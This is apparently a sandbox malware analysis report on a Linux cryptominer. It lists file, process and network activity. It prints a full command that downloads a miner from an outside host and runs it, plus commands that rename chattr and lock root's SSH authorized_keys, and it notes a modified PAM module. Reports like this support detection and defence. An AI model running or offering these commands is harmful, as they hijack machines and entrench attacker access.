Technical Information
Malicious functions:
Gets access to SSH keys
- /root/.ssh/authorized_keys
Launches processes:
- sh -c /bin/mv /usr/bin/chattr /usr/bin/t
- /bin/mv /usr/bin/chattr /usr/bin/t
- sh -c /usr/bin/t +i /root/.ssh/authorized_keys
- /usr/bin/t +i /root/.ssh/authorized_keys
- sh -c wget -c http://images.hearme.xyz/miner2 -O /tmp/miner2 && chmod 755 /tmp/miner2 && /tmp/miner2
- wget -c http://images.hearme.xyz/miner2 -O /tmp/miner2
Performs operations with the file system:
Creates folders:
- /root/.ssh
Creates or modifies files:
- /lib/x86_64-linux-gnu/security/pam_unix.so
- /usr/bin/chattr
- /tmp/miner2
Network activity:
Establishes connection:
- <LOCAL_DNS_SERVER>
- [2#######0:3031::681c:1f05]:0
- [2#######0:3032::ac43:804d]:0
- [2#######0:3033::681c:1e05]:0
- 10#.#8.30.5:0
- 10#.#8.31.5:0
- 17#.#7.128.77:0
HTTP GET requests:
- im####.#earme.xyz/miner2
DNS ASK:
- im####.hearme.xyz